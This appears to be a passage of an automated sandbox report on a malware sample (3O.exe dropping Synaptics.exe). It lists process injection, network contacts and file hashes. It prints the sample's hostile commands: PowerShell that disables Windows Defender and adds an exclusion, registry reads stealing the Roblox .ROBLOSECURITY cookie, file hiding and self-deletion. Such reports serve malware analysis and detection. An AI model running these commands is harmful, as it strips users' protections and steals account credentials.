Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4556 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 4556 wrote to memory of 2340 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe
PID 4556 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 4556 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 4556 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\3O.exe C:\ProgramData\Synaptics\Synaptics.exe
PID 2340 wrote to memory of 4788 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 4788 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 4144 wrote to memory of 996 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 4144 wrote to memory of 996 N/A C:\ProgramData\Synaptics\Synaptics.exe C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
PID 2340 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\SYSTEM32\attrib.exe
PID 2340 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\SYSTEM32\attrib.exe
PID 2340 wrote to memory of 64 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 64 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 5008 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 5008 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 808 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 3628 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 856 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 856 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 2372 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 2372 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 2444 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2340 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\System32\Wbem\wmic.exe
PID 2340 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\SYSTEM32\cmd.exe
PID 2340 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe C:\Windows\SYSTEM32\cmd.exe
PID 2648 wrote to memory of 4716 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE
PID 2648 wrote to memory of 4716 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\PING.EXE

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\3O.exe

"C:\Users\Admin\AppData\Local\Temp\3O.exe"

C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe"

C:\ProgramData\Synaptics\Synaptics.exe

"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe" && pause

C:\Windows\system32\PING.EXE

ping localhost

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 142.250.200.3:443 gstatic.com tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 3.200.250.142.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 xred.mooo.com udp
US 8.8.8.8:53 freedns.afraid.org udp
US 69.42.215.252:80 freedns.afraid.org tcp
US 8.8.8.8:53 discord.com udp
US 8.8.8.8:53 252.215.42.69.in-addr.arpa udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 63.141.182.52.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 xred.mooo.com udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 docs.google.com udp
GB 172.217.169.78:443 docs.google.com tcp
US 8.8.8.8:53 78.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 o.pki.goog udp
GB 216.58.201.99:80 o.pki.goog tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 216.58.201.97:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 97.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp

Files

memory/4556-0-0x0000000002290000-0x0000000002291000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\._cache_3O.exe

MD5 564b355897ddc57a49b9c0385673b7c4
SHA1 830b0bd8d603c384a3ca59de5889c9ccb98233b1
SHA256 ccf452b1c9ef7ad173d702e74cb17c13bee478432ed764259d4b33634aea438c
SHA512 c2ebcea2723156c3534641b796a0303fedc06e4ba304e285d898ad819fa4eac4cac0bda79831d60097db4a7a0c76a8af616ff0c5ecbb327200724810523a12a5

memory/2340-65-0x00000290DF390000-0x00000290DF3D0000-memory.dmp

C:\ProgramData\Synaptics\Synaptics.exe

MD5 e9e10384209bc3b39b6f5cd6f33314e7
SHA1 40f0bed19c2f77417ab130e7be434c6e0e33bc0a
SHA256 b63721f19f217379cbafdaa58a1a2d16975b82547a5cb8701604f53e5ace059b
SHA512 b391ef944dcc1d4f1158579ea4f7c8f248c5b3ee58f4483a2ba60956953763c6a0ce641707a583c6329e1c58265494065552901a0152cea5d6d87cd5d40501be

memory/2340-66-0x00007FFEFCBE3000-0x00007FFEFCBE5000-memory.dmp

memory/4556-130-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2340-133-0x00007FFEFCBE0000-0x00007FFEFD6A1000-memory.dmp

memory/3336-197-0x00007FFEDB210000-0x00007FFEDB220000-memory.dmp

memory/3336-196-0x00007FFEDB210000-0x00007FFEDB220000-memory.dmp

memory/3336-193-0x00007FFEDB210000-0x00007FFEDB220000-memory.dmp

memory/3336-195-0x00007FFEDB210000-0x00007FFEDB220000-memory.dmp

memory/3336-194-0x00007FFEDB210000-0x00007FFEDB220000-memory.dmp

memory/3336-198-0x00007FFED91B0000-0x00007FFED91C0000-memory.dmp

memory/3336-199-0x00007FFED91B0000-0x00007FFED91C0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\QubIjE7Y.xlsm

MD5 e566fc53051035e1e6fd0ed1823de0f9
SHA1 00bc96c48b98676ecd67e81a6f1d7754e4156044
SHA256 8e574b4ae6502230c0829e2319a6c146aebd51b7008bf5bbfb731424d7952c15
SHA512 a12f56ff30ea35381c2b8f8af2446cf1daa21ee872e98cad4b863db060acd4c33c5760918c277dadb7a490cb4ca2f925d59c70dc5171e16601a11bc4a6542b04

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_csktrppp.w42.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/64-203-0x000002146BD50000-0x000002146BD72000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

memory/2340-248-0x00000290F9A70000-0x00000290F9AC0000-memory.dmp

memory/2340-247-0x00000290F9AC0000-0x00000290F9B36000-memory.dmp

memory/2340-249-0x00000290F9A40000-0x00000290F9A5E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\AA975E00

MD5 76901e15210ff9085529cc66b13c2b17
SHA1 3a1a72db2fddab5c14f958d3fa90afe06a35708e
SHA256 6576e7fcce34668452b81d404f43f0788cae821476bb832b3f93cb886142993b
SHA512 905e9d2ea05e7b5ba5a5cc4cf818122c4361e0ffecdcd5cd4cad20a80479c297290d1d93f7cf312fe14f5a1ad97bfea006cc8ac470acc8216ac0cf57dbab172b

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2af06a6b36db9473e4a7d9c7ab72b70b
SHA1 8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645
SHA256 18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158
SHA512 3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/2340-307-0x00000290F9B50000-0x00000290F9B5A000-memory.dmp

memory/2340-308-0x00000290F9B80000-0x00000290F9B92000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1ea5d65217d30c8c4eeb7a435aa5bbb0
SHA1 f7a15f9f0143584d074bce0f50b6c78534a737d3
SHA256 cedc69e67ca2833342c220f717283d15e66fdba76ade306426f6daad61e78282
SHA512 7304f01134445787f84f8de1714e31eea6d49043ff1864486702b29164b7f0c74579ad63b05a83d9bda5807843a6ae8329201c03c5846d1aa8beef3cd19a831f

memory/4144-329-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/4144-330-0x0000000000400000-0x00000000004F9000-memory.dmp

memory/2340-331-0x00007FFEFCBE3000-0x00007FFEFCBE5000-memory.dmp

memory/2340-332-0x00007FFEFCBE0000-0x00007FFEFD6A1000-memory.dmp

memory/2340-337-0x00007FFEFCBE0000-0x00007FFEFD6A1000-memory.dmp

memory/4144-361-0x0000000000400000-0x00000000004F9000-memory.dmp